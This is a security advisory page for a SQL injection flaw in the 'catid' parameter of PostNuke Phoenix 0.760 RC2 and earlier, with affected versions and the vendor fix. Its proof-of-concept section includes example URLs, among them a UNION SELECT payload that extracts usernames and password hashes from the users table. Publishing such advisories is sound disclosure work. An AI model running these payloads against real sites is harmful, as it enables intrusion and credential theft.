PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

BID:12683

Info

PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

Bugtraq ID: 12683
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 28 2005 12:00AM
Updated: Feb 28 2005 12:00AM
Credit: Discovery is credited to Maksymilian Arciemowicz <[email protected]>.
Vulnerable: PostNuke Development Team PostNuke Phoenix 0.760 RC2
PostNuke Development Team PostNuke Phoenix 0.750
PostNuke Development Team PostNuke Phoenix 0.726
PostNuke Development Team PostNuke Phoenix 0.723
PostNuke Development Team PostNuke Phoenix 0.722
PostNuke Development Team PostNuke Phoenix 0.721
Not Vulnerable: PostNuke Development Team PostNuke Phoenix 0.760 RC3

Discussion

PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

PostNuke Phoenix is reported prone to an SQL injection vulnerability. This issue arises due to insufficient sanitization of user-supplied input.

It is reported that issue presents itself when malicious SQL syntax is issued to the application through the 'catid' variable.

PostNuke 0.760-RC2 and prior versions are reported vulnerable.

Exploit / POC

PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

An exploit is not required.

The following proof of concept examples are available:

http://www.example.com/index.php?catid='cXIb8O3

http://www.example.com/modules.php?op=modload&name=News&file=article&sid=1&catid='cXIb8O3

http://www.example.com/admin.php?module=NS-AddStory&op=EditCategory&catid='cXIb8O3

http://www.example.com/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=0&catid=-99999%20UNION%20SELECT%20pn_uname,pn_uname,pn_
uname,pn_uname,pn_uname,null,null,null,pn_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,pn_pass,null,null,null,null,null,null%20FROM%20[$PREFIX]users%20WHERE%20pn_uid=2/
*

Solution / Fix

PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

Solution:
The vendor has released PostNuke 0.760 RC3 to address this issue.


PostNuke Development Team PostNuke Phoenix 0.721

PostNuke Development Team PostNuke Phoenix 0.722

PostNuke Development Team PostNuke Phoenix 0.723

PostNuke Development Team PostNuke Phoenix 0.726

PostNuke Development Team PostNuke Phoenix 0.750

PostNuke Development Team PostNuke Phoenix 0.760 RC2

References

PostNuke Phoenix CATID Parameter Remote SQL Injection Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report